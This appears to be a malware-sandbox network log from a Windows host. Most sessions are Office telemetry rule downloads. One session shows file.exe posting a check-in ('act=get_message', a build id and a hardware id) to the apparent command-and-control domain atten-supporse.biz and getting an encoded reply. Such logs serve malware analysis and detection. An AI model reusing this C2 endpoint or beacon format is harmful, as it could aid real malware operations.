Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.7	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:46 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:46 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: dcf51672-d01e-005a-5c91-3f7fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023246Z-174f7845968vqt9xhC1EWRgten000000129g00000000e9dq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:47 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.7	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:47 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:47 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 5cf18767-601e-000d-7d91-3f2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023247Z-174f78459688l8rvhC1EWRtzr00000000exg000000007kgz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:47 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.7	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:47 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:47 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 09dbda49-a01e-003d-2d45-4098d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023247Z-174f7845968frfdmhC1EWRxxbw00000012bg00000000a5kq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:47 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.7	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:47 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:47 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 7af319f3-d01e-0017-6a91-3fb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023247Z-174f7845968ljs8phC1EWRe6en000000127g000000002y61 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:47 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.7	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:48 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:48 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:48 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: f73eacfc-701e-0001-0b91-3fb110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023248Z-174f78459688l8rvhC1EWRtzr00000000ew000000000c1d6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:48 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.7	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:48 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:49 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 417b9f3b-401e-0029-4091-3f9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023249Z-174f78459688l8rvhC1EWRtzr00000000ev000000000exgk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:49 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.7	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:49 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:49 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 8909076a-001e-00a2-6343-40d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023249Z-174f7845968qj8jrhC1EWRh41s000000124g00000000k1sw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:49 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.7	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:49 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:49 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 4defd72f-901e-005b-7278-402005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023249Z-174f7845968nxc96hC1EWRspw800000011yg00000000gft9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:49 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.7	49771	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:49 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:49 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: dce0685f-701e-001e-3f83-3ff5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023249Z-174f7845968zgtf6hC1EWRqd8s0000000vb0000000002myy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:49 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.7	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:50 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:50 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:50 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 6398f086-f01e-0099-25dd-419171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023250Z-174f7845968frfdmhC1EWRxxbw000000128000000000hb93 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:50 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.7	49774	172.67.165.166	443	7408	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:50 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: atten-supporse.biz
2024-12-01 02:32:50 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 38 37 36 43 42 44 44 36 36 36 44 41 43 41 37 30 34 41 36 42 30 31 35 45 39 35 34 35 36 36 31 30 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=876CBDD666DACA704A6B015E95456610
2024-12-01 02:32:52 UTC	1020	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=a3vvb10opj1e2u22d4rnokcb53; expires=Wed, 26-Mar-2025 20:19:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mBT%2F1daMlH5rl3h%2F2FuuaQJsy9SqUzzBbqFvHziAHJHh2RIPDnQwZtl%2Fzo2mTyP4ufLUuq4meUBjklTbI7gb2%2Bii9zck1VTFWHFGZN5WzmnXDaTBrPldLY7MdlfLXl%2BBrArzyxE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eafab4759f042d3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1890&min_rtt=1853&rtt_var=769&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=990&delivery_rate=1357508&cwnd=246&unsent_bytes=0&cid=a7f234d5d319ae8b&ts=1670&x=0"
2024-12-01 02:32:52 UTC	214	IN	Data Raw: 64 30 0d 0a 72 56 71 41 45 30 54 48 45 43 5a 37 53 77 32 51 2b 4e 6a 71 63 44 6d 67 33 6b 53 55 43 38 6d 46 50 43 52 45 37 67 32 61 4a 4b 62 32 49 61 4a 6d 5a 76 30 79 54 67 38 2f 66 61 71 6b 39 37 5a 66 43 4a 6a 72 61 71 59 36 2f 4b 73 4e 46 58 66 41 50 4b 78 34 69 63 49 38 35 6b 39 72 6f 33 56 41 56 53 35 31 39 64 72 30 79 42 5a 4e 67 75 52 30 75 43 6d 73 70 77 59 56 4f 63 4a 32 75 46 47 45 6c 33 6a 6f 5a 7a 43 33 4b 6e 70 55 46 79 4b 68 77 4f 33 45 51 67 69 56 38 48 57 6c 4f 4f 65 30 43 6e 68 72 6e 58 6e 2f 52 63 76 78 64 66 4a 79 4b 71 4e 2f 53 31 55 75 64 66 58 61 39 4d 67 57 54 59 4c 6b 64 4c 67 70 72 4b 63 47 46 44 6d 7a 0d 0a Data Ascii: d0rVqAE0THECZ7Sw2Q+NjqcDmg3kSUC8mFPCRE7g2aJKb2IaJmZv0yTg8/faqk97ZfCJjraqY6/KsNFXfAPKx4icI85k9ro3VAVS519dr0yBZNguR0uCmspwYVOcJ2uFGEl3joZzC3KnpUFyKhwO3EQgiV8HWlOOe0CnhrnXn/RcvxdfJyKqN/S1UudfXa9MgWTYLkdLgprKcGFDmz
2024-12-01 02:32:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.7	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:51 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
